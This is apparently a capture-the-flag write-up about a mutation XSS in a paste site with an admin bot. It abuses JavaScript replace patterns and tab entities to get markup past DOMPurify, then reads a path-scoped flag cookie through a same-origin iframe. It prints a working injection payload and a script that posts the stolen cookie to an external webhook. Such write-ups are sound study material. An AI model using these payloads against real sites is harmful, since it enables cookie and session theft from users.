Challenge

A paste site with an admin bot and DOMPurify in the mix. I burned time chasing DOMPurify CVEs before realizing the bug was in how the server vs the browser parse the input, a mutation XSS.

Solution

Breakout via replace patterns. The server ran a String.prototype.replace over the input, and the special replacement patterns ($` and $&) let me smuggle markup past the sanitizer’s view of the string. With tab entities (	) as attribute separators, I could inject a live element:

1
2
<img alt=$&$`<iframe&#9;src=/hidden/lol&#9;&#9;onload=eval(atob('...'))>
</iframe>

The cookie scope trick. The flag cookie was scoped to /hidden, and visiting /hidden redirects to about:blank (cross-origin), destroying the context before you can read it. But the cookie attaches to any path matching the /hidden scope, so sending the bot to /hidden/<anything> (which 404s but keeps the cookie) and loading that in a same-origin iframe lets the parent read frames[1].document.cookie. Then a form POST exfiltrates it:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
const iframe = document.createElement('iframe');
iframe.src = '/hidden/lol';
iframe.onload = () => {
  const form = document.createElement('form');
  form.method = 'POST';
  form.action = 'https://webhook.site/<id>';
  const input = document.createElement('input');
  input.name = 'flag';
  input.value = frames[1].document.cookie;
  form.appendChild(input);
  document.body.appendChild(form);
  form.submit();
};
document.body.appendChild(iframe);

Because the iframe is same origin with the parent, the parent reads its cookie, and the 404 page under /hidden still carries it.